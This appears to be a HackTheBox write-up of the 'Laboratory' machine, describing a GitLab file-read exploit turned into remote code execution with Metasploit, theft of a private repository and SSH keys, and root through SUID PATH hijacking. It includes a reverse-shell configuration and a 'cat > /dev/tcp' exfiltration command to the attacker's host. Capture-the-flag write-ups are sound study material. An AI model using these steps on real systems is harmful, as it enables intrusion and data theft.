Laboratory is an easy difficulty Linux box that features an instance of GitLab application in a docker container. The application is known to be vulnerable to Arbitrary File Read that can be leveraged to read the application’s secret, allowing an attacker to craft his own malicious cookie and perform a de-serialization attack to gain a foothold on the container. Enumerating inside the container finds a private user repository that contains a pair of SSH keys. The keys allows me to logs into the machine. There is an SUID binary that calls chmod
with relative path, making it vulnerable to path hijacking.
All my HTB raw notes are available at my GitHub.
Reconnaissance
Nmap
Initial scan with nmap
shows 3 ports open, they are SSH on port 22, HTTP on port 80, and HTTPS on port 443.
nmap -sC -sV -oA scans/10-initial-laboratory 10.10.10.216
From the scan above, visiting port 80 will be redirected to https://laboratory.htb
.
On the HTTPS port, the SSL cert discloses a hostname of git.laboratory.htb
.
From here, I’ll add laboratory.htb
and git.laboratory.htb
as well to my /etc/hosts
file.
echo '10.10.10.216 laboratory.htb git.laboratory.htb' > /etc/hosts
Enumeration
TCP 80 — laboratory.htb
There is nothing really interesting here.
TCP 443 — git.laboratory.htb
A GitLab instance is presented on this page.
I tried to register an account, but GitLab rejected it by saying the email domain was not authorized.
I changed my email to iamf@laboratory.htb
and it worked.
The first thing I do is to check the GitLab version. It is available on the “Help” section and the current version is 12.8.1.
I found another user on this website named Dexter McPherson
. This user has a project called SecureWebsite
:: searchsploit
searchsploit
shows several exploits for GitLab. One that stands out is an arbitrary file read vulnerability on version 12.9.0 which might work as well on version 12.8.1
searchsploit gitlab
Foothold
Arbitrary File Read (CVE-2020–10977)
The arbitrary file read is classified as CVE-2020–10977. The report can be found at Hackerone. The researcher also shows how that vulnerability can be turned into a remote code execution.
I’ll be using this neat exploit PoC written in Python to exploit this vulnerability.
python3 cve_2020_10977.py https://git.laboratory.htb/ iamf iamfiamf
Arbitrary File Read → RCE
To turns this arbitrary file read vulnerability into a remote code execution, I’ll need to setup my own GitLab instance with the same version as the one on Laboratory. Then I’ll have to replace my GitLab secret_key_base
with the one on Laboratory (located on /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
).
Fortunately, there is a Metasploit module to perform this automatically, and I’ll use that.
First, I’ll have to grab the module from GitHub and put it into /usr/share/metasploit-framework/modules/exploits/multi/http
.
→ root@iamf «laboratory» «10.10.14.39»
$ cd /usr/share/metasploit-framework/modules/exploits/multi/http && wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/gitlab_file_read_rce.rb
After that I’ll re-initialize the metasploit database using msfdb
.
msfdb reinit
Now on metasploit, I can use the module by issuing the command below:
msf6 > use exploit/multi/http/gitlab_file_read_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp
And here are the required options.
set USERNAME iamf
set PASSWORD iamfiamf
set RHOSTS 10.10.10.216
set RPORT 443
set SSL true
set VHOST git.laboratory.htb
set LHOST tun0
set LPORT 9001
After all the required options are set, I’ll start the exploit with the run
command. I have shell as user git
.
There is a .dockerenv
file in the root directory. This indicates that I'm inside a docker container.
Privilege Escalation
Container enumeration
Enumerating the git
home directory (/var/opt/gitlab
) discovers two repositories that belongs to user dexter
.
git@git:~$ grep -Ri dexter 2>/dev/null
I haven’t seen that dexter/securedocker
before in the GitLab application. So I'll grab that repository and transfer it to my machine
First, I’ll create a tar ball archive of that repository and I’ll name it as exfil-securedocker-git.tar
.
git@git:~/git-data/repositories/@hashed/19/58/$ tar -czf /tmp/exfil-securedocker-git.tar 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
On my machine, I’ll setup listener
nc -nvlp 9000 > exfil-securedocker-git.tar
Back on Laboratory, I’ll send the tarball to my machine using cat
and bash
trick
git@git:~/git-data/repositories/@hashed/19/58/$ cat /tmp/exfil-securedocker-git.tar > /dev/tcp/10.10.14.39/9000
My listener received the tarball.
Recover “securedocker” Repository
After extracting the repository, I saw git:(master)
pop up in my zsh prompt which indicates this is a git repository.
But, when I try to read the repository status, it returns an error message.
I’ve renamed
19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
tosecure-docker.git
.
This problem can be resolved by creating a new .git
folder within secure-docker.git
and transferring all the files from secure-docker.git
to the newly created .git
. Finally, use the git init
command to re-initialize the git repository.
Interestingly, this repository contains a set of SSH keys.
SSH — dexter
I can restore the deleted files using git checkout --
command.
I can now login as dexter
using the SSH key I obtained.
At first try, it says the key is invalid format, and I fixed that by adding an empty string using the echo
command
Now it logs me in.
Internal Enumeration
The contents of todo.txt
talks something about “docker security”, but I have no idea what it is except it uses three hashtags.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ cat dexter/todo.txt
# DONE: Secure docker for regular users
### DONE: Automate docker security on startup
# TODO: Look into "docker compose"
# TODO: Permanently ban DeeDee from lab#
It turns out it’s a binary name which has a SUID bit set found by linpeas
.
Inspecting the binary with the ltrace
command reveals that it uses relative path to call chmod
.
dexter@laboratory:~$ ltrace docker-security
Knowing this, I could hijack the execution path.
SUID — Path Hijack
First, I’ll create a fake chmod
that calls bash
binary at /dev/shm
, I'll also add an execute permission on that file.
Next, I’ll add current directory (/dev/shm
) to $PATH
variable and now if I call chmod
, it will point to my chmod
on /dev/shm
.
From there, I can just execute docker-security
to obtain a root access as well as the root flag.
Originally published at: https://fahmifj.github.io/writeups/hackthebox/htb-laboratory/